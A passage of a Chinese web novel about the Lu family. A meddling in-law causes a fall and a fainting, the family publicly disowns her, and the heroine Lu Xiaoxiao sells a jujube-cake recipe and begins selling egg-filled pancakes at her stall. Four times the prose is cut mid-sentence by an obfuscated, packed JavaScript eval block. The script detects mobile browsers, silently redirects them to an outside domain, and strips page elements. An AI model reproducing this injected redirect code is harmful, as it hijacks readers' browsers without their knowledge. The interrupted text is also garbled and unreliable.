这吃食是早上多做出来留给卢家父子中午加餐的，如今地里的工作重，自然要吃饱了。 当然卢家吃的时候会丰富些，有个炒鸡蛋之类的，可这会还没做呢，而且她们也没想着要款待张家婶子呀！ 秀珠娘见这端来的早食和秀珠吃的早食完全不一样，料定卢家故意不给她好的，嚷嚷了起来。 “我说亲家，你这就不是待客的道理了，自家大块吃肉，给我这个亲家就两筷子的咸菜。” “亲家，说的哪的话，这就是我们吃的早食，秀珠那碗是夜里特地留出的肉，今儿她起晚了些。” “我不信你们对秀珠这样好，那酸菜鱼的做法就藏着掖着的没告诉她！” 卢大娘子看了眼秀珠，她不知道还有这事。 “娘，快别说了。”秀珠着急道，酸菜鱼的做法没瞒着她，只是她没说出去，但也没给卢大娘子说她娘的心思，好歹是她娘呀。 “什么别说，我这就让人知道，他们卢家是如何对待媳妇的，做个菜也瞒着，亲家上门也就几筷子咸菜，还要拿媳妇做筏子。”秀珠娘越嚷越大声。 把在院子里做活的卢爷爷都惊动了，走过来看怎么了。 “娘，你胡说什么呢！”她娘这话简直是要逼死她，这叫人听到，该以为她在娘家说了多少婆家的坏话了。 “秀珠，你也别怕，这外头都传遍了，他们卢家姑娘家厉害，儿郎们性子差，就只磋磨媳妇，防媳妇跟防贼似的，娘这是帮你呢！”这应是听说了卢晓晓家的闲话。 “你胡说八道什么！”卢爷爷怒道，这话外人说说，他们可以不当回事，可若是自家亲家都这样说，外人难免就当真了。 “娘，酸菜鱼的做法没瞒着我，是我不告诉你。”秀珠见外头已经围了人，也顾不得她娘怎么想了。 “天杀的卢家呀，我好好的女儿嫁过来，如今会欺瞒我这个辛辛苦苦养育她的娘了。”秀珠娘哭嚎道，嘴里的话是越说越不像话。 卢爷爷只想让她闭嘴，卢大娘子恨不得上去堵了她的嘴，秀珠一着急就想着把她娘拉里屋去，一时间乱作一团，结果不知道怎么的秀珠被推攘得摔在了地上，“哟”的一声叫，裤子立马见了红。 卢爷爷见到这，更是气急了，“你、你、你……”一下子没转过气，气背了过去，得亏卢春芳反应快，扶了一把，没结结实实的摔地上。 秀珠看到爷爷倒了，吓得忘了自己的疼，秀珠娘见出事了，赶紧溜走了。 “娘，那老太婆跑了。”春芳道。 这家里老的少的一下子倒了两，卢大娘子杀了秀珠娘的心都有了，只现下顾不上，喊道，“哪个好心的乡亲快来帮把手！” 围观的村民赶紧上前帮忙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811421|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卢大娘子又对春芳吩咐道，“快去地里把你爹叫回来，叫你哥哥去请郎中，去请韩郎中，再去你舅舅家借车到镇上请郎中！” 早有邻居在秀珠娘吵起来的时候，就去地里叫卢大富父子了，是以春芳没跑多远便见到了他们。 “爹，嫂子摔倒了，爷爷气晕了。”卢春芳说话间不免带了哭腔。 卢怀德只觉得脑子嗡的一下，就想往家跑。 “哥，叫郎中，娘使你去叫郎中！”卢春芳赶紧叫到。 “对对对，我去叫韩郎中。”转头向韩家跑去。 “二哥，你快去舅舅家，娘叫你借车去镇上请郎中。”卢春芳又说道。 “路过你三叔家的时候把他们叫过来。”卢大富吩咐道。 说罢，父女两就赶紧往家里走，路上卢春芳又跟卢大富说了事情的经过，把卢大富气得不行。 韩家是和卢家一起落户在杜家村的，两家离着近，不一会儿韩郎中就过来了，听说是见了红，道，“可有去镇上请大夫？” “去了去了，我家二小子去他舅舅家借骡子车去的。” “我带了保胎的药材过来，若是听我的，就先用两碗水把药煎着，镇上的郎中若是没带保胎丸，就把这汤药喝了，若有保胎丸，还是那个效果好。” “春芳，快去煎药。”卢大娘子唤道。 “带我去看卢大叔吧。” 卢大富赶紧把人带到了卢爷爷的房中，韩郎中细细地检查了卢爷爷的头部和口鼻，又按了好一会人中穴、百会穴，卢爷爷才悠悠转醒，睁眼后精神还是不甚清明。 此时卢大贵夫妇两也到了，卢家兄弟两陪在卢爷爷这屋，卢大娘子走不开，就托了卢二娘子去照顾秀珠。 没多久，卢怀德领着镇上的郎中回来了，郎中也是经验丰富，带了安神固本丸和保胎益气丸，卢大娘子赶紧端了水来让卢爷爷服下，又让大儿子把保胎丸给秀珠那屋送过去。 郎中给卢爷爷诊了脉，说无大碍，等药效起了再看情况开药方，两家人松了口气。 郎中又去给秀珠诊脉，滑胎之相已经止住，又问了韩郎中的用药，是常见的安胎药方，用的是寻常的药材，符合农家人的需求，便没另外开药方。 过了一会，药效起了，卢爷爷精神好了不少，能坐起来说话了。卢大娘子又请郎中好好把把脉，看有没有不妥。再后来的事卢晓晓她们就知道了。 等卢怀德把郎中送回镇上，抓药回来，卢爷爷已经能起身了。大家不敢马虎，又把药煎了伺候老爷子喝过药歇下。 怕病情有变，卢大贵一家晚食也没回家，卢晓晓和春芬、春芳两姐妹简单做了些饭菜，两家人对付了几口。 到了晚上，卢爷爷喝了粥，精气神回来了，便让卢大贵一家回去。 卢大娘子把卢大贵一家送出门，道，“大贵、惠娘，你们先回去，今儿这事，我定给你们个交代！”秀珠娘的话简直坏了两家名声，还把老爷子气晕了，这事是不能善了的。 19. 拆鱼羹 “伯娘，明日春芬姐可还跟我们一道出去？”卢晓晓问道。 “去吧，家里有我跟春芳照料就够了。”卢大娘子答道。春芬一个未嫁的小姑娘，也帮不上什么忙。 “你们放心去吧，明日吃过早食我便过来帮忙。”卢二娘子道。 说罢，卢大贵一家人就往家走了，想着今日发生的事，气氛有些凝重，一路无语。 到了家，卢二娘子帮卢晓晓一起把明日做的吃食准备好，就各自歇下了。 卢大富家。 卢大娘子去了大儿子的屋里，让大儿子出去，秀珠撑着想起身，卢大娘子拦住了，道，“你好好躺着，别动，听我说。” 秀珠顿时不敢动了。 卢大娘子坐到床边，帮秀珠掖了掖被角，拉着她的手，道，“秀珠，你现下身体弱，得多休息，可若是瞒着你，你恐怕也歇不安稳。今儿的事你都看到了，你娘这样的人，我们是断不会再当亲家往来的了。” 听到这，秀珠心中一凉，手不由地抓紧了。 卢大娘子拍了拍秀珠的手，又道，“娘今日想问一问你，你是留在这，还是想回家去？你留着，卢家待你还如往常一样。” “娘，我、我……”秀珠哽咽着，一只手摸着肚子，说不出话来。 “娘知你担忧什么，郎中说你底子好，好好养是能保住的。只要你好好的，娘也会一直护着你的。” “娘，我不回去，我不回去。”秀珠哭道。 “好孩子，快别哭了，你这几日就在家里好好养着，旁的事都别管。今晚上娘与你睡，让大郎到二郎那屋睡，你先歇着，娘一会过来。”。 出了儿媳屋，卢大娘子把一家人叫到了堂屋，道，“今日的事大家都知道了，说说什么想法吧！” “娘，这事决不能罢休了。”卢怀才道。 “娘，秀珠她……”卢怀德想为妻子说话，又不好开口。 “一码归一码，这事她娘家做下的，不干她的事。”卢大娘子道。 春芬和春芳都支持找秀珠娘算账。 “可与秀珠说清楚了？”卢大富道。 “说了，她这几日就在家好好歇着。以前如何，往后也如何。”卢大娘子道。 “既然如此，明日叫上大贵，再请你哥哥帮个忙，我们明日去张家！”卢大富拍板道。 “二郎，你明日去你大舅和三叔家，请他们吃过早食来家里一趟。”卢大娘子吩咐道。 说完便各自回屋了。 到了第二日，卢晓晓和卢二郎按往日的时辰来叫卢春芬，确定卢爷爷无大碍，三人就往镇上去了。 吃过早食，卢大贵夫妇两过来了，一道过来的还有杜里正。 “哥哥，昨日二郎去找你借骡子车，你应是知道了一些，这张家的真是看着我们好说话，越发的蹬鼻子上脸。”卢大娘子对杜里正说道。 接着便说起这张家的往日是如何占自家便宜的，又将昨日秀珠娘中伤卢家名声，推到自家媳妇，气坏自家公爹的事细细说了一番。 “这张家的着实可恨，妹妹你想如何？”杜里正问道。既然叫他过来，定是有了主意。 “我想下午叫上几个人去张家闹上一闹，一来是想断了这亲家的往来，二来是想正一正卢家的名声。”卢大娘子道。 “行，那我跟你二哥，还有你那几个侄儿就去镇个人场。” “大贵，这事这么处理可行？”卢大富问弟弟。 “行！我一会就去把大郎、三郎叫回来。决不能让咱家被人欺负了。”卢大贵道。 “那下午咱申时过去，就赶村民从地里回来的时辰，好叫他们村的人知道知道这张喜妹做的事！” 到了午时，卢晓晓她们出摊回来了，放好东西又来了卢二伯家，顺道还带来了一条鲈鱼和一块豆腐。 卢晓晓打算做道拆鱼羹给爷爷和堂嫂补身子。 将鲈鱼宰杀，刮鳞，剖腹，去腮，再用清水洗净。将葱姜捣出汁水抹到鱼身上，再加入少许盐和酒，腌制一刻钟。 将丝瓜去皮，切掉瓤，切成丝。萝卜、生姜切丝。豆腐先切成片，再切丝，泡入水中。 腌制好的鱼擦干水分，热锅下油，整鱼滑入锅中，煎至两面表皮微黄后，加入适量开水，将鱼煮熟。然后将鲈鱼捞起，将鱼肉去骨剥出，鱼肉拆成小块，再取两只鸡蛋，将蛋清和蛋黄分开。 鱼汤再次烧开，加入姜丝，再倒了拆好的鱼肉，轻轻搅拌，再依次放入萝卜丝和豆腐丝，最后打旋着将蛋清倒入锅中，一边倒一边搅拌，加完鸡蛋后便起锅。 做好的鱼羹，鲜嫩滑润，味美入口，豆腐和鱼肉混在一起，味似鱼肉，喝一口让人满足极了。 卢晓晓这边欢欢喜喜地喝鱼羹，另一边的张家，可就没有这么太平了。 卢大娘子带着十几号壮丁到了张家，围住了张家的院门。 “张家的出来！你们别以为躲在家里，这事就了了，快出来！” “陈喜妹你把我公爹气晕了，把我媳妇推得差点小产，就想这么了了？我告诉你，没门！快出来！” 卢大娘子在门外一通喊。 秀珠娘就躲在屋里，死活不出来。 不一会儿，来了好些人围观。 “这不是秀珠的婆家吗？这是在闹啥啊，她家小儿子不是没娶妻？”路人甲问道。 “听说这陈喜妹昨日把秀珠推倒了。”路人乙说道。 “推她闺女干嘛呀，她前些天不是老得意她闺女怀上了吗？”路人丙问道。 “谁知道呀，这里肯定有事，听听秀珠婆家怎么说吧！”路人丁道。 卢大娘子见围观的人已是不少，也不管这张喜妹出不出来了，达到目的就行。 便大声道，“各位张家村的父老乡亲，请大家给评评理做做主！” “我是秀珠的婆婆，自打我们跟张家结亲以来，每次张家上门，不管是拿了几颗青菜还是几个鸡蛋，我们都奉为上宾，好肉好菜的招待着，临走还要送些肉菜。” “就这么着，这陈喜妹还对我们不满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811422|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。前些日子，我这媳妇怀上了，我们全家那个喜啊，好吃的都先紧着她。” “昨日这陈喜妹大中午的来家吃早食，就为了一口肉，就为着我媳妇碗里有肉，她的碗里没有肉，就好一顿闹腾。” “与她解释，这肉只有我媳妇和我家老爷子有，我们都没有，她不听啊，闹起来什么话都往外说，说我们卢家刻薄亲家，还说我们卢家家风不正，什么赖话都说尽了。” “我媳妇开口劝解，她还动起手了，直说她不孝顺，把她推到了地上，如今只能在家卧床养胎，郎中说能不能保住只得看造化了！” “若只是这，我们也不好说什么，可这一通闹，愣是把我们家老爷子气晕了，好一会才醒过来，吃了安神固本丸，才清明些，我只能念阿弥陀佛，保佑我家老爷子无大事。” “你们说说，这哪是亲家呀，这分明是仇家呀！”卢大娘子说完这些，拿起帕子抹起眼泪来。 周围的乡亲哗地一声议论开了。 “这陈喜妹就喜欢占人便宜，没少来我家借油，还回来的都是那最劣的油。”这是邻居甲。 “上个月借我家的针还没还呐！每次借了东西都要使劲催才还。”这是邻居乙。 “我家小儿吃的饴糖她都好意思张口要的。”这是邻居丙。 “好家伙，大中午的上门去人家吃早食，我家再穷也没有恁厚的脸皮。”这是同村甲。 “这卢家待秀珠是真的好，前几日秀珠回来了，那是没少拿东西，人比刚出嫁那会白了不少，高了不少。”这是同村乙。 “安神固本丸得二两银子一丸呢！这卢家碰上这样的亲家真是倒大霉了！”这是同村丙。 大家七嘴八舌地说起秀珠娘的为人。 这围观的人群中还有秀珠的大姐，嫁到了本村，听说娘家出事了，就赶忙过来了，见来的是秀珠婆家人，便没有出来。 这秀珠大姐比秀珠只大上六岁，可两姐妹若是站到一块，看着像差了辈。这秀珠大姐在人群里听着大家骂自己的娘，只觉得痛快极了。 早些年，秀珠没嫁的时候，她娘没少来她婆家占便宜，婆家面上不说，可是妯娌私下没少挤兑她，连着婆婆也越发的看她不顺眼，这两年秀珠出嫁了，才少来她家了。 卢大娘子见氛围差不多，顺势说道，“昨日我家老爷子和媳妇光救命抓药就花了五两多银子，今儿我也不打算来要钱，就只想让乡亲们见证下，这样的亲家我们是再也不敢往来了，往后只把秀珠当我女儿一般对待。” 听到这，秀珠娘就想着出去，被秀珠爹拦住了，道，“快别出去了，还嫌不够丢人的吗！” 卢大娘子说到这，有人说她行事果断的，也有人说她绝情的，不过更多的还是支持她的。 站在人群里的秀珠大姐只觉得忽地一下心里凉透了。他们不来往了，那她娘跟谁来往，是不是又得来她家了？ 卢大娘子带着人，在张家放完话，浩浩荡荡地回家去了。至于这张家往后上谁家打秋风，可就与她无关了。 20. 卖方子 卢大娘子一行人回到村里，在村口就分开了。 “大哥、二哥，今日家里不方便，等我爹好些了，再置办一桌席，咱几家人再聚一聚。”卢大富道。 “妹夫，自家人不用这么客气，让卢老爹和外甥媳妇先养好身子。”杜里正拍了拍卢大富的肩，带着人便回去了。 卢家人一起回到卢大富家，卢晓晓把留出的鱼羹热了热，分了分，人人都说这鱼羹味好。 青阳县，元家。 今日是元三郎妹妹元明月的及笄之日，元家邀请了好些相熟的亲朋来家中玩，其中便有城关镇的宋家。 元家发家于城关镇，虽已举家搬到青阳县，可城关镇这边的关系一直没有冷落。元宋两家更是姻亲关系，元家大郎娶的便是宋家的长女，宋连玉的大姐宋云思。 城关镇路远，宋家夫人和宋云想是上午过半到的元家，元家已到了好些客人，宋云思正在张罗小姑子的及笄之宴，宋家夫人便和几位夫人一处，由元家夫人招呼着喝茶聊天。 宋云想给各位夫人见过礼，则叫上丫头拎着买来的金玉糕去找元明月了。 未进屋子，就听到好些姑娘在玩闹的笑声，在屋外伺候的丫头见宋云想来了，便给打了帘子，给里头招呼道，“姑娘，宋家小姐来了”。 元明月起身迎了过来，道，“云想，你可来了，我都有好些日子没见你了。” 宋云想顺着元明月的牵引坐下，“元姐姐，我可想你了，自你家搬到了县里，我出门的机会都少啦，我娘事忙，也不多带我出门。” “哟，看这两人好的，见了面就不稀罕我们这些姐妹啦！”屋里一长得明艳大气的姑娘打趣道。 “谁能不稀罕你这大美人，云想，这是县丞家的，你唤她韩姐姐，她最爱开玩笑，人可好了。”元明月介绍道。 说罢，又与宋云想介绍了屋子里的几位姑娘，这身份最高的就数刚刚开口的韩姑娘。 宋云想起身与各位姑娘一一见过礼。 元明月又递给了她一盘糕点，道，“这金玉糕吃着好吃，你快尝尝。” “这刚才让我们少吃些，原是留着给云想妹妹你呢！” 宋云想一看，道，“这县上竟也有金玉糕，我还以为这是我们城关镇特有的，今儿还给元姐姐带了两份。”说完，便让丫头把拎着的金玉糕拿了过来。 元明月吩咐丫头将糕点装盘里端上来，又对宋云想道，“真是巧了，我这是哥哥从城关镇拿回来的，说是个摆摊的小娘子做的，她家的红烧肉、干锅兔，还有熏鱼都好吃，我家奶奶最喜欢吃红烧肉，不过我更爱吃干锅兔，你呢？” “我只吃过他们家的金玉糕，不知道还卖这样多的东西，回去我就都买来尝尝。”宋云说道，心里想着回去定要她哥全都买来。 “呀，这宋家妹妹带来的金玉糕竟是不一样！”等宋云想带的金玉糕端上来，屋里的姑娘发现竟是两种。 “卖金玉糕的小娘子说，这薄的，通透的，是原味的金玉糕。这厚点的，软糯的，是南瓜味的金玉糕。我更爱吃这南瓜味的，口味甜一些，口感软糯，果味与南瓜味交融，味道更丰富。”宋云想介绍道。 等两个口味的金玉糕都被吃完，屋里的姑娘竟为哪个味道的更好吃争了起来。 “你们是说起好吃的，就忘了今儿的正题，把今日的寿星给晾在一边了。叫我说两个口味都好吃。”韩姑娘说道。 两个争起来的姑娘觉得不好意思极了，大家又开始祝贺起元姑娘来。 可不管更喜欢吃哪个口味，金玉糕都将她们折服了，来做客的姑娘直问宋云想小娘子摆摊的地方在哪，只等到了明日使人去摊子上买吃食。 远在城关镇的卢晓晓正在做拆鱼羹，还不知她的摊子在青阳县的闺秀之间小火了一把。 到了第二日，卢家的摊子上来了好些脸生的客人，买的东西还不少，金玉糕更是指名要买的，没多久就将准备的吃食买光了，卢晓晓三人便早早的收摊回家了。 快中午的时候，有一位管事模样的人来寻卢记肉夹馍的摊子，问了好些人找来了杜家村。 到村口，见到在闲聊的几位大娘，卢家的邻居张大娘便在其中，“大娘，问一下路，镇上的卢记肉夹馍的摊主是住在哪里？” “找摊主什么事？”张大娘问道。 “我从县里来的，想要买些卢记摊子上的吃食回去。”来人解释道。 张大娘见他神色坦诚，不似作伪，便道，“我知道，跟我走吧，晓晓今天该是在她二伯家。”自打卢家送过一次牛肉后，这张大娘跟卢家的往来频繁多了。 到了村西的卢大富家，张大娘在院门外呼道，“丽娘，晓晓在你家吗？县里来人买肉夹馍了！” 卢家人闻声出来了，见是一不认识的中年人。 “鄙人姓元，是县里来的，想要买些吃食，请问哪位是卢记肉夹馍的摊主？” “我便是，请问客官要买些什么？”卢晓晓上前道。 “不若进屋再谈？”元管事道。 “晓晓，你与二郎把人领回家吧，家里如今乱糟糟的，不便招待了。”卢大娘子道，见这人似有事相商，就主动避嫌了。 卢家两兄妹将人带回家，卢晓晓请人坐下，又给倒了水。 这元管事便说起了来意，道，“小娘子，我想买这金玉糕的方子。” 原是卢晓晓给卢三郎送的一份金玉糕，元三郎给元家老太太送了半份，又给即将及笄的元明月送了半份。 老太太年纪大了，胃口不好，吃了几片金玉糕，晚饭时竟多吃了些，往日里吃多了便容易积食，可昨日却未觉着，睡眠还好了几分。 又说宋云想带的金玉糕，丫头只每个味道拆了一份招呼客人。剩下的一份，元明月吩咐丫头分成了三小份，自己留了一份，剩下的两份，一大早给奶奶和母亲送了过去，还特地说了这金玉糕开胃健脾，安神助眠的功效。 元家老太太这才想到，昨日怕是这金玉糕的功效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811423|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又问元明月这糕点是哪得来的，从前竟是未见过。 元明月便将宋云想说的转述了一遍，正逢元家大爷来给母亲问安，一听便觉得是商机，这才有了管事来买方子的事情。 “元老爷想如何买这个方子？”卢晓晓问道。 “小娘子唤我元管事便好，不瞒小娘子，我家老爷是做点心生意的，这金玉糕我们的点心师傅尝过了，应是用酸枣做的。”这元管事一开口便说出了这金玉糕的原料。 元管事接着道，“这金玉糕的配料简单，但既是小娘子想出来的，我们家老爷很有诚意，愿意出二十两银子买这方子。” 二十两银子不算多，但对酸枣糕这样简单的做法，算是多了。 卢晓晓略微思索道，“这方子可以卖您，但是有一个条件，必须许我继续在摊子上卖金玉糕，以金玉糕的名字。” “那我也有一个条件，就是你买的金玉糕必须与铺子卖的有所区别。”元管事见卢晓晓年纪小小的，竟然能跟他谈条件，不由高看了一眼。点心铺子和街边摊子两边的客户人群不一样，倒是可以卖个人情，给卢晓晓让些利。 “我保证我卖的金玉糕现在是什么样的，往后也会怎么样，如果需要包装，定叫人一眼看出跟贵铺子卖的不一样。”卢晓晓应承道。 “好，那我明日便草拟好文书带过来，摊子上不便说话，明日未时，我还是到这来。”元管事说道。 “元管事果然是爽快人，既然如此，不若再添五两银子，我再送您一个金玉糕由来的故事。”这金玉糕做法简单，想想前两日宋家小哥说的，再加上今日脸生的客人，卢晓晓对元管事来买方子的原因有了猜测。 这二十两银子买的不是方子，而是金玉糕的名字，是金玉糕在县里的名声。既是要名声，那一个感人肺腑的由来就更能帮助金玉糕打出名声了。 “小娘子好本事，我便越矩代我家老爷答应了，算是交了你这个朋友。” “这金玉糕的做法是我从一个游人处学来的。这人年幼时家境贫穷，家附近有几颗酸枣树，他娘就把口粮省下来给他吃，自己吃酸枣充饥，后来他长大了，好不容易挣下了份家业，可他娘身体也不行了，临了前就想再吃些酸枣。”卢晓晓停了停。 “后来呢？”卢二郎忍不住问道。 “这人也是孝顺，便找人去山里拣了几筐酸枣，怕她娘吃了不好，又是剥皮，又是去核，又放锅里蒸熟，又是加糖调味，做出了一碗酸枣羹。她娘吃了一两口便不再吃了，只叫放到第二日再吃。等到了第二日竟发现这酸枣羹变成了琥珀状的糕体，吃起来的口感更好。” “后来，他又对酸枣糕进行了改良，她娘吃着酸枣糕，胃口好了不少，竟又多活了几年。这游人说这段故事的时候便说道，金也好，玉也好，都不如这酸枣糕好。金玉糕的名字便这么来的。” “小娘子这故事说得真好，明日我就带着银子和协议过来。”元管事高兴道。这孝道在古代就是最好的故事。 21. 鸡蛋灌饼 元管事离开后，卢二郎高兴坏了，金玉糕的方子竟是卖了二十五两，晓晓还会这样多的新菜式，若再卖上几个，就够置宅置地的了。 “晓晓，我们是不是能去酒楼卖菜谱？上次你给杜子柏做的席面，他同学不都说没在镇上见过这些菜式吗？”卢二郎问道。 “二哥，酸枣糕能卖出二十五两的价格，主要是金玉糕误打误撞在县里有了名气，今儿元管事买的是金玉糕的名字。”卢晓晓解释道。 “我做的菜胜在样式新，口味不敢说比其他的都好。懂行的人，多吃几次便知道怎么做了，菜谱卖不起价格。不如我们多攒些钱，回头开了吃食铺子，自己卖。到时候这盈利就是源源不断的。” “铺子，我们真的能开铺子吗？”卢二郎从没有想过能拥有一间铺子。 “我们不仅能开铺子，我们还能去县里，去府城开酒楼！”卢晓晓畅想道。 这一番的畅想打动了卢二郎，他已经完全不想卖菜谱了，只希望攒钱的速度更快一些，让他们早日开间铺子。 等卢大贵夫妇从兄嫂家回来，吃晚食的时候，问起了今日上门的客人，卢二郎用稀疏平常的语气回答说，用二十五两买了酸枣糕的方子。 卢二娘子一时不能理解，酸枣糕这样简单的做法，怎么还有人来买。 卢大贵则也动起了卖菜谱的想法。 卢晓晓又将金玉糕卖的是名气的说法说了一番。 虽说不能卖菜谱有些遗憾，可二十五两也赶上种地两年的收入了，这可是顶顶重要的大事，一家人便决定明日一同陪着卢晓晓签协议。 如今卢记肉夹馍的肉食是越卖越好，卢春芬对摊子上的事务也娴熟了，趁着金玉糕带起的一波流量，卢晓晓打算推出新品。 晚上备吃食的时候，就准备了十余个鸡蛋，小心翼翼的放到背篓中。 第二日，等卢春芬烙好两锅肉夹馍的面饼，卢晓晓就开始做新吃食。 这新吃食也是面食。 取出在家调好的油酥，把面粉倒在案板上，中间挖个坑，加水搅拌揉搓成光滑面团，又揉成长条，揪成小剂子，放到一旁醒上两刻钟。 面醒好后，将小剂子压扁，包入准备好的油酥，揉搓成团，收口向下放在案板上，然后用擀面杖轻轻的将面团擀成一张薄圆饼，两面再刷上油。 面饼擀好后，便趁着早上客人多的时候，取一个鸡蛋打入碗中，加少许盐打散，又将面饼放到热锅中，烙至两面发黄，继续加热，待面饼鼓起大包时，用筷子轻轻将面皮戳破，让蛋液顺着筷子灌入饼中。 蛋液略微凝固时，翻面，直到面饼两面金黄，饼皮酥脆，就起锅。然后在面饼的一面刷上自制的酱料，再放上两片生菜，卷起来，递给一旁的卢二郎做早食。 “二哥，快尝尝，新做的鸡蛋灌饼。”卢晓晓道。 卢二郎吃饭吃的香，是最好的宣传。 新出炉的鸡蛋灌饼饼皮酥脆，鸡蛋鲜香，加上生菜的脆爽和酱料的咸香，口感丰富，风味独特，美味极了。卢二郎大口大口吃起来，边吃边说好。 一排队买肉夹馍的大爷看卢二郎吃的香，开口问道，“小娘子，这做的是什么新吃食呀？” “大爷，这是鸡蛋灌饼，这用料您是看到的，用了一整个鸡蛋，再刷上秘制的酱料，味道可好了，一个只要七文钱，加一文钱多个鸡蛋，味道更好，今日可要尝一尝？” “给我来个两鸡蛋的鸡蛋灌饼。”这大爷姓江，是镇上的老餮，就好一口吃的。 “好咧！”卢晓晓利落地把做好的面饼铺到锅中，打了两个鸡蛋到碗中，一手翻面饼，一手打鸡蛋，流畅得很。 等香喷喷的鸡蛋灌饼递到大爷的手中，不过是须臾的功夫，大爷迫不及待地咬了一口。 一旁相熟的客人忍不住问道，“老江，怎么样啊？” 江大爷又吃了几口，咂摸着口中的回味，道，“饼酥、蛋嫩、酱香，好！” “江大爷，您这说得太好了，我这鸡蛋灌饼得您这句夸，真是值了！”卢晓晓高兴极了，有道是千人吆喝不如老餮一句夸。 听江大爷这么一说，好些客人都打算尝尝这鸡蛋灌饼。除了江大爷，大多数客人要的都是一个鸡蛋的，可就这样，带来的鸡蛋也很快用完了。 没吃着的客人很是遗憾，都叫卢晓晓明日多备些。 鸡蛋灌饼的窍门一是油酥，二是酱，三是灌饼的手艺，轻易学不来，可谓是城关镇上独一份，卢晓晓也不担心叫人仿了去。 等把备的吃食卖完，三人便把摊子收了起来，今日鸡蛋灌饼卖得快，卢晓晓和卢春芬都没吃着。 “春芬姐，一会回家，咱再做几个鸡蛋灌饼吃，顺便给你说说这灌饼怎么做的。”卢晓晓边收拾便说道。 “这可是独门手艺，也要教我吗？”卢春芬道。 “那肯定是要教你的，过两日我还要到码头上看看，这摊子就得托给你和二哥啦！” 自打秀珠娘闹过之后，卢晓晓就觉得卢二伯一家是靠得住的，以后做生意可以一起拉拔着。 摊子上的吃食越来越多，客流也渐渐稳定了，卢晓晓想去码头看海货的时候，顺便看看要不要再加一个摊子。 三人回到家，卢晓晓便开始教卢春芬做鸡蛋灌饼，两家共十几口人，每人一个灌饼，下地的两个灌饼，也够卢春芬练的了。 到元管事来的时候，秀芬做起鸡蛋灌饼已是有模有样了，见有客人来了，便拿着做好的鸡蛋灌饼回家了。 与元管事一同来的还有个账房，卢晓晓亲自做了两个鸡蛋灌饼请两人尝尝味，两人都吃得满意极了。 元管事不由在心中感慨，来买方子的决定真是太对了，就小娘子这做新吃食的天分，往后定能干出一番天地。 签协议的过程很顺利，元管事将昨日沟通的内容明明白白地写到了协议中，也没有暗自加一些不利于卢晓晓的条款。 签完协议，账房把银两给了卢晓晓，两人便回镇上了。 账房给的银两里有两个十两的银元宝，还有五个一两的银锞子。 这是卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811424|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家兄妹两第一次见银元宝，圆滚滚，胖乎乎的，色白且带着光泽，看着特别的喜人。 “这银元宝可真好看呀！多几个就好了。”卢二郎忍不住说道。 “回头我们挣上一匣子，整整齐齐的码在一起更好看。”卢晓晓道。 “你们两个小财迷，快把银子收好，我们要去二伯家看爷爷了。”卢二娘子道。 卢家夫妇也稀罕极了，但是要在儿女面前保持稳重，才没有表现出来。 不知不觉，到了月底，卢春芬已能熟练地做肉夹馍和鸡蛋灌饼，也能自如地应对客人了。货船靠岸那日，卢晓晓便把摊子交给卢春芬和卢二郎，自己去码头看看。 码头距离卢记肉夹馍摊子约摸五里路，需走上半个时辰，卢晓晓花一文钱坐车到了码头。 到了那，发现果然多了不少小摊，有卖当地吃食的，也有卖海货的。卢晓晓转了转，买了一兜紫菜和一兜虾皮。 卖海货的确实不少，可是也贵，能买得起的多是酒楼里的采买和镇上大户的管事。 见没什么可买的，卢晓晓就要回镇上了，走过一个小摊，忽然见到了一株黄黄红红的辣椒。 辣椒，许多美食的灵魂所在。 在码头上见到辣椒，且还是生长着的辣椒植株，卢晓晓激动坏了，好不容易按捺下激动的心情问道，“大叔，这红红黄黄的是什么？看起来挺有趣的。” 摊主见卢晓晓一个小丫头，看穿着也不像大户人家的丫鬟，便打发道，“小姑娘，这是我从海外带回来的，也不知道叫什么，你若是喜欢，就五百文拿去。” “大叔，你这价格好没道理，如今一盆开满花骨朵的菊花也才三百文，你这不知道是什么，这红色的果子也不知道能长多久，便要五百文。” 